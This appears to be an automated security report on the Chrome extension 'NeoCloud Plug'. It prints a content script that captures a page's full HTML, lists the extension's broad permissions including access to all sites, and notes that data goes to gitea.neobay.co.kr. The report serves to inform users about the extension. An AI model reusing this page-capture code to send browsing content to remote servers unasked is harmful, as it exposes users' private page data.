getElevenProductsHtml.jsconst loadProducts = () => { return new Promise((resolve, reject) => { const intervalId = setInterval(() => { const isLoad = document.querySelector('.c-search-list__item'); if (isLoad) { clearInterval(intervalId); resolve(); } }, 10); });}loadProducts().then(() => { chrome.runtime.sendMessage({ sender: "getHtml", response: document.documentElement.outerHTML, status: 200 }, () => {});}).catch(error => { console.error("Error:", error);}).finally(() => { chrome.runtime.sendMessage({ sender: "getHtml", response: null, status: 200 }, () => {});});The extension asks Chrome for permission to inject scripts across all websites.
- Location
- manifest.json permissions and host_permissions
{ "name": "NeoCloud Plug", "icons": { "72": "assets/img/logo.png" }, "action": { "default_icon": "assets/img/logo.png" }, "version": "3.7", "background": { "type": "module", "service_worker": "background.js" }, "update_url": "https://clients2.google.com/service/update2/crx", "description": "NeoCloud Extension", "permissions": [ "scripting", "storage", "declarativeNetRequest" ], "host_permissions": [ "<all_urls>" ], "manifest_version": 3}- gitea.neobay.co.kr
Receives the WebSocket connection on port 3000 and receives response frames generated by messenger().
What it can do
Permissions this extension asks for, as declared in version 3.7. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every site you visit
<all_urls>
Run its own code inside the pages you visit
scripting
Store data in your browser
storage
Block and redirect the requests your browser makes
declarativeNetRequest
Where it sends data
Destinations our analysis observed NeoCloud Plug contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- gitea.neobay.co.kr
NeoCloud Plug sends data to gitea.neobay.co.kr. No other extension we have analysed sends data here.